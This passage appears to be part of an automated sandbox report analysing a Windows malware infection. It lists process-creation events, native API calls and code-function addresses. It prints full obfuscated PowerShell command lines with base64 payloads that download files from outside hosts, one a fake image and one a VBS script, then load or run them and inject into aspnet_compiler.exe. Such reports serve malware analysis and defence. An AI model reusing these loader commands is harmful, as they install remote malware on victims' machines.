VlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelhoJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0042C853 NtClose,12_2_0042C853
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F35C0 NtCreateMutant,LdrInitializeThunk,12_2_012F35C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2B60 NtClose,LdrInitializeThunk,12_2_012F2B60
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2DF0 NtQuerySystemInformation,LdrInitializeThunk,12_2_012F2DF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2C70 NtFreeVirtualMemory,LdrInitializeThunk,12_2_012F2C70
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F3010 NtOpenDirectoryObject,12_2_012F3010
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F3090 NtSetValueKey,12_2_012F3090
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F4340 NtSetContextThread,12_2_012F4340
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F4650 NtSuspendThread,12_2_012F4650
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F39B0 NtGetContextThread,12_2_012F39B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2BA0 NtEnumerateValueKey,12_2_012F2BA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2B80 NtQueryInformationFile,12_2_012F2B80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2BE0 NtQueryValueKey,12_2_012F2BE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2BF0 NtAllocateVirtualMemory,12_2_012F2BF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2AB0 NtWaitForSingleObject,12_2_012F2AB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2AF0 NtWriteFile,12_2_012F2AF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2AD0 NtReadFile,12_2_012F2AD0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2D30 NtUnmapViewOfSection,12_2_012F2D30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2D00 NtSetInformationFile,12_2_012F2D00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2D10 NtMapViewOfSection,12_2_012F2D10
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F3D10 NtOpenProcessToken,12_2_012F3D10
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F3D70 NtOpenThread,12_2_012F3D70
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2DB0 NtEnumerateKey,12_2_012F2DB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2DD0 NtDelayExecution,12_2_012F2DD0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2C00 NtQueryInformationProcess,12_2_012F2C00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2C60 NtCreateKey,12_2_012F2C60
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2CA0 NtQueryInformationToken,12_2_012F2CA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2CF0 NtOpenProcess,12_2_012F2CF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2CC0 NtQueryVirtualMemory,12_2_012F2CC0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2F30 NtCreateSection,12_2_012F2F30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2F60 NtCreateProcessEx,12_2_012F2F60
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2FA0 NtQuerySection,12_2_012F2FA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2FB0 NtResumeThread,12_2_012F2FB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2F90 NtProtectVirtualMemory,12_2_012F2F90
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2FE0 NtCreateFile,12_2_012F2FE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2E30 NtWriteVirtualMemory,12_2_012F2E30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2EA0 NtAdjustPrivilegesToken,12_2_012F2EA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2E80 NtReadVirtualMemory,12_2_012F2E80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F2EE0 NtQueueApcThread,12_2_012F2EE0
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04E487B08_2_04E487B0
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04E47FD48_2_04E47FD4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_004168EE12_2_004168EE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_004168F312_2_004168F3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_004030B012_2_004030B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0041018312_2_00410183
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040E18312_2_0040E183
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040E2C712_2_0040E2C7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040E2D312_2_0040E2D3
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_004044BB12_2_004044BB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0042EE6312_2_0042EE63
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040FF6112_2_0040FF61
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040FF6312_2_0040FF63
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040272412_2_00402724
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_004027C012_2_004027C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B010012_2_012B0100
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135A11812_2_0135A118
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F516C12_2_012F516C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0138B16B12_2_0138B16B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AF17212_2_012AF172
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0134815812_2_01348158
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013801AA12_2_013801AA
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CB1B012_2_012CB1B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013781CC12_2_013781CC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137F0E012_2_0137F0E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013770E912_2_013770E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C012_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136F0CC12_2_0136F0CC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137132D12_2_0137132D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137A35212_2_0137A352
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AD34C12_2_012AD34C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0130739A12_2_0130739A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE3F012_2_012CE3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013803E612_2_013803E6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136027412_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C52A012_2_012C52A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB2C012_2_012DB2C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C053512_2_012C0535
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137757112_2_01377571
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135D5B012_2_0135D5B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0138059112_2_01380591
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137F43F12_2_0137F43F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B146012_2_012B1460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137244612_2_01372446
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136E4F612_2_0136E4F6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C077012_2_012C0770
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E475012_2_012E4750
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137F7B012_2_0137F7B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BC7C012_2_012BC7C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DC6E012_2_012DC6E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013716CC12_2_013716CC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D696212_2_012D6962
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C995012_2_012C9950
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DB95012_2_012DB950
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C29A012_2_012C29A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0138A9A612_2_0138A9A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D80012_2_0132D800
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C284012_2_012C2840
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CA84012_2_012CA840
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A68B812_2_012A68B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C38E012_2_012C38E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EE8F012_2_012EE8F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137FB7612_2_0137FB76
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137AB4012_2_0137AB40
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DFB8012_2_012DFB80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01335BF012_2_01335BF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012FDBF912_2_012FDBF9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01376BD712_2_01376BD7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01333A6C12_2_01333A6C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01377A4612_2_01377A46
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137FA4912_2_0137FA49
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01305AA012_2_01305AA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135DAAC12_2_0135DAAC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BEA8012_2_012BEA80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136DAC612_2_0136DAC6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CAD0012_2_012CAD00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01377D7312_2_01377D73
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C3D4012_2_012C3D40
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01371D5A12_2_01371D5A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D8DBF12_2_012D8DBF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BADE012_2_012BADE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DFDC012_2_012DFDC0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01339C3212_2_01339C32
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0C0012_2_012C0C00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360CB512_2_01360CB5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137FCF212_2_0137FCF2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B0CF212_2_012B0CF2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01302F2812_2_01302F28
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E0F3012_2_012E0F30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137FF0912_2_0137FF09
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01334F4012_2_01334F40
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137FFB112_2_0137FFB1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C1F9212_2_012C1F92
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CCFE012_2_012CCFE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B2FC812_2_012B2FC8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137EE2612_2_0137EE26
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C0E5912_2_012C0E59
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C9EB012_2_012C9EB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137CE9312_2_0137CE93
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D2E9012_2_012D2E90
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137EEDB12_2_0137EEDB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 012F5130 appears 36 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 01307E54 appears 96 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 0133F290 appears 105 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 012AB970 appears 268 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: String function: 0132EA12 appears 86 times
                  Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
